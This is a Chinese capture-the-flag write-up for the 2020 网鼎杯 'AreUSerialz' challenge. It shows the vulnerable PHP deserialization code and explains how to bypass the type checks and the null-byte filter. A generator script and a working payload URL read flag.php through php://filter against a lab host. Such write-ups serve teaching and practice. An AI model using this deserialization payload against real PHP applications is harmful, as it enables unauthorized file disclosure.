[网鼎杯 2020 青龙组]AreUSerialz
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
需要传入str参数,然后通过is_valid()判断str中的字符是否在ascii码32到125之间,最后在对其进行反序列化
类在反序列化的过程中会调用__destruct方法
1 function __destruct() {
2 if($this->op === "2")
3 $this->op = "1";
4 $this->content = "";
5 $this->process();
6 }
op参数使用的是强类型比较,可以使用数字类型2进行绕过赋值op="1",然后赋值content参数为空,进入process方法
1 public function process() {
2 if($this->op == "1") {
3 $this->write();
4 } else if($this->op == "2") {
5 $res = $this->read();
6 $this->output($res);
7 } else {
8 $this->output("Bad Hacker!");
9 }
10 }
op使用的弱类型比较,如果op值为1调用write(),op值为2调用read(),然后output()将read()返回值进行输出
read()
1 private function read() {
2 $res = "";
3 if(isset($this->filename)) {
4 $res = file_get_contents($this->filename);
5 }
6 return $res;
7 }
filename没有做过滤因此是可控的,可以通过php://filter伪协议,利用file_get_contents()读取文件
$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid()校验
1 <?php
2 include("flag.php");
3
4 highlight_file(__FILE__);
5
6 class FileHandler
7 {
8
9 protected $op = 2;
10 protected $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
11 protected $content;
12
13 function __construct()
14 {
15 $op = "1";
16 $filename = "/tmp/tmpfile";
17 $content = "Hello World!";
18 $this->process();
19 }
20
21 public function process()
22 {
23 if ($this->op == "1") {
24 $this->write();
25 } else if ($this->op == "2") {
26 $res = $this->read();
27 $this->output($res);
28 } else {
29 $this->output("Bad Hacker!");
30 }
31 }
32
33 private function write()
34 {
35 if (isset($this->filename) && isset($this->content)) {
36 if (strlen((string)$this->content) > 100) {
37 $this->output("Too long!");
38 die();
39 }
40 $res = file_put_contents($this->filename, $this->content);
41 if ($res) $this->output("Successful!");
42 else $this->output("Failed!");
43 } else {
44 $this->output("Failed!");
45 }
46 }
47
48 private function read()
49 {
50 $res = "";
51 if (isset($this->filename)) {
52 $res = file_get_contents($this->filename);
53 }
54 return $res;
55 }
56
57 private function output($s)
58 {
59 echo "[Result]: <br>";
60 echo $s;
61 }
62
63 function __destruct()
64 {
65 if ($this->op === "2")
66 $this->op = "1";
67 $this->content = "";
68 $this->process();
69 }
70
71 }
72 echo serialize(new FileHandler());
序列化结果为如下图,%00字符ascii码为0,所以不显示,变量前面会存在多出一个*

payLoad:
http://14971a13-49e6-413d-a220-0e27dc4c9363.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}
base64解密后,便获取到flag



浙公网安备 33010602011771号